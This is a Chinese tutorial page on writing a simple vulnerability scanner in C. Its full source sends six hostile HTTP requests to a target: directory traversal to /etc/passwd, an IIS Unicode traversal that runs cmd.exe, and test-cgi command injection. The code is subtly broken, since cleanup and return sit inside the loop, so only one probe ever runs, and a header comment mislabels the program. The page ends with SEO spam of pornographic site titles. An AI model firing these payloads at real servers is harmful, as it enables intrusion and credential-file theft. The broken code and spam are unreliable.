• <label id="pxtpz"><meter id="pxtpz"></meter></label>
      1. <span id="pxtpz"><optgroup id="pxtpz"></optgroup></span>

        當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

        編寫漏洞掃描器

        編寫漏洞掃描器

        更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

        一、漏洞掃描器基本原理:  

        編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發送一個GET文件的請求,服務器接收到請求會返回文件內容,如果文件不存在則返回一個錯誤提示,通過接收返回內容可以判斷文件是否存在。發送和接收數據需要使用函數send()和recv(),另外對流中存在的字符串進行判斷需要使用函數strstr(),這除了需要具備socket函數庫的知識以外,還需要一些有關string函數庫的知識。  

        二、簡單的漏洞掃描源代碼:  

        /********************************************/  
        /* 端口掃描器 源代碼 */  
        /* CgiScanner.cpp */  
        /********************************************/  

        #include <stdio.h>  
        #include <string.h>  
        #include <winsock.h>  

        int main(int argc,char *argv[])  
        {  
        if(argc!=2){  
        printf("Useage : scan [IP address]\n");  
        return(1);  
        }  

        struct sockaddr_in blah;  
        struct hostent *he;  
        WSADATA wsaData;  
        int i;  
        WORD wVersionRequested;  
        SOCKET sock;  

        char buff[1024];  
        char *ex[10];  
        ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
        ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
        ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
        ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
        ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
        ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
        char *fmsg="HTTP/1.1 200 OK";  

        wVersionRequested = MAKEWORD( 1, 1 );  
        if (WSAStartup(wVersionRequested , &wsaData)){  
        printf("Winsock Initialization failed.\n");  
        exit(1);  
        }  

        if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
        printf("Can not create socket.\n");  
        exit(1);  
        }  
        sock = socket(AF_INET,SOCK_STREAM,0);  
        blah.sin_family = AF_INET;  
        blah.sin_port = htons(80);  
        blah.sin_addr.s_addr= inet_addr(argv[1]);  

        if ((he=gethostbyname(argv[1]))!=NULL){  
        memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
        }  
        else{  
        if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
        WSACleanup();  
        exit(1);  
        }  
        }  

        for (i=1 ; i<7; i++) {
        if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
        send(sock,ex[i],strlen(ex[i]),0);
        recv(sock,buff,sizeof(buff),0);
        if(strstr(buff,fmsg)!=NULL){
        printf("\nFound :%s\n", ex[i]);
        }
        }

        closesocket(sock);
        WSACleanup();
        return(1);
        }
        }

        這段代碼可以檢測六個漏洞,讀者可以根據自己的需要增加漏洞掃描的數量。程序實現的很簡潔,概括起來這段程序完成了一下四項工作:

        1、連接目標主機SERVER;
        2、向目標主機發送GET請求;
        3、接收目標返回數據;
        4、根據返回數據判斷文件是否存在。

        溫馨提示:喜歡本站的話,請收藏一下本站!

        本類教程下載

        系統下載排行

        主站蜘蛛池模板: 久久久久精品国产亚洲AV无码| 亚洲女同成av人片在线观看| 亚洲男女性高爱潮网站| 亚洲黄片手机免费观看| 亚洲成a人片在线观看老师| 污污视频免费观看网站| 亚洲AⅤ无码一区二区三区在线 | 亚洲av一本岛在线播放| 国产精彩免费视频| 性xxxx黑人与亚洲| 日韩视频免费在线| 美女无遮挡免费视频网站| 亚洲?v无码国产在丝袜线观看| www一区二区www免费| 人人狠狠综合久久亚洲88| 国产va在线观看免费| 亚洲av乱码一区二区三区香蕉| 国产在线播放免费| 亚欧国产一级在线免费| 久久久国产精品亚洲一区| 一个人免费高清在线观看| 亚洲大码熟女在线观看| 亚洲伊人成无码综合网| 日本中文字幕免费高清视频| 亚洲嫩草影院在线观看| 日本不卡视频免费| 国内永久免费crm系统z在线 | 一区二区三区AV高清免费波多| 男男黄GAY片免费网站WWW| 精品亚洲视频在线观看| 色猫咪免费人成网站在线观看| 亚洲女人影院想要爱| 成人永久免费福利视频网站| 国产高潮久久免费观看| 亚洲色偷偷av男人的天堂| 成年丰满熟妇午夜免费视频| xxxx日本在线播放免费不卡| 中文字幕亚洲精品资源网| 四虎在线播放免费永久视频 | 182tv免费观看在线视频| 色偷偷尼玛图亚洲综合|